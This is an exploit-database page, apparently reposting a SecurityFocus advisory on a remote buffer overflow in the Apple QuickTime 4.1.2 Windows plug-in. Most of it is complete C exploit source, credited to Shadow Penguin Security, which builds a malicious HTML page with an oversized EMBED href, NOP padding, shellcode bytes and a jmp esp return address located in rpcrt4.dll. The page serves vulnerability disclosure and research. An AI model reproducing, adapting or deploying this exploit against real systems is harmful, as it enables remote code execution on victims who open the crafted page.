Apple Quicktime plugin - Windows 4.1.2 (Japanese) Remote Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Apple Quicktime plugin Windows 4.1.2 (Japanese) Remote Overflow Vulnerabilit


                                                source: http://www.securityfocus.com/bid/2328/info

Apple Quicktime plugin for Windows is vulnerable to a remote buffer overflow.

A maliciously-constructed web link statement in a remote HTML document, which contains excess data argumenting an EMBED tag, could permit execution of hostile code. 

/*====================================================================
   Apple QuickTime 4.1.2 plug-in exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  ====================================================================
*/

#include    &#60;stdio.h&#62;
#include    &#60;stdlib.h&#62;
#include    &#60;windows.h&#62;

#define MOV_FILE    &#34;c:\\program files\\quicktime\\sample.mov&#34;
#define HEIGHT      60
#define WIDTH       60
#define TARGET      &#34;QUICKTIMEPLAYER&#34;
#define FILE_IMAGE  \
                    &#34;&#60;html&#62;&#60;embed src=\&#34;%s\&#34; href=\&#34;%s\&#34; &#34;\
                    &#34;width=%d height=%d autoplay=\&#34;true\&#34; &#34;\
                    &#34;target=\&#34;%s\&#34;&#62;&#60;br&#62;&#60;/html&#62;&#34;
#define BUFSIZE     730
#define RET         684
#define ESP_TGT     &#34;rpcrt4.dll&#34;
#define JMPESP_1    0xff
#define JMPESP_2    0xe4
#define NOP         0x90

unsigned char   exploit_code[200]={
        0x33,0xC0,0x40,0x40,0x40,0x40,0x40,0x50,
        0x50,0x90,0xB8,0x2D,0x23,0xF5,0xBF,0x48,
        0xFF,0xD0,0x00,
};

main(int argc,char *argv[])
{
    FILE            *fp;
    char            buf[BUFSIZE];
    unsigned int    i,pretadr,p,ip,kp;
    MEMORY_BASIC_INFORMATION meminfo;

    if (argc&#60;2){
        printf(&#34;usage : %s Output_HTML-fileName [Sample .mov file]\n&#34;,
               argv[0]);
        exit(1);
    }

    if ((void *)(kp=(unsigned int)LoadLibrary(ESP_TGT))==NULL){
         printf(&#34;%s is not found.\n&#34;,ESP_TGT);
         exit(1);
    }

    VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
    pretadr=0;
    for (i=0;i&#60;meminfo.RegionSize;i++){
        p=kp+i;
        if (  ( p     &0xff)==0
           || ((p&#62;&#62;8 )&0xff)==0
           || ((p&#62;&#62;16)&0xff)==0
           || ((p&#62;&#62;24)&0xff)==0) continue;
        if (   *((unsigned char *)p)==JMPESP_1
            && *(((unsigned char *)p)+1)==JMPESP_2)
            pretadr=p;
    }
    if ((fp=fopen(argv[1],&#34;wb&#34;))==NULL){
        printf(&#34;File write error \&#34;%s\&#34;\n&#34;,argv[1]);
        exit(1);
    }
    memset(buf,NOP,BUFSIZE);
    memcpy(buf+700-12,exploit_code,strlen(exploit_code));
    buf[BUFSIZE-2]=0;

    ip=pretadr;
    printf(&#34;EIP=%x\n&#34;,ip);
    buf[RET  ]=ip&0xff;
    buf[RET+1]=(ip&#62;&#62;8)&0xff;
    buf[RET+2]=(ip&#62;&#62;16)&0xff;
    buf[RET+3]=(ip&#62;&#62;24)&0xff;

    if (argc==2)
        fprintf(fp,FILE_IMAGE,MOV_FILE,buf,WIDTH,HEIGHT,TARGET);
    else
        fprintf(fp,FILE_IMAGE,argv[2],buf,WIDTH,HEIGHT,TARGET);
    fclose(fp);
    printf(&#34;Done.\n&#34;);
 }

-----
UNYUN
% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
   [email protected] (SPS-Official)
   [email protected] (Personal)
% eEye Digital Security Team [ http://www.eEye.com ]
   [email protected]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1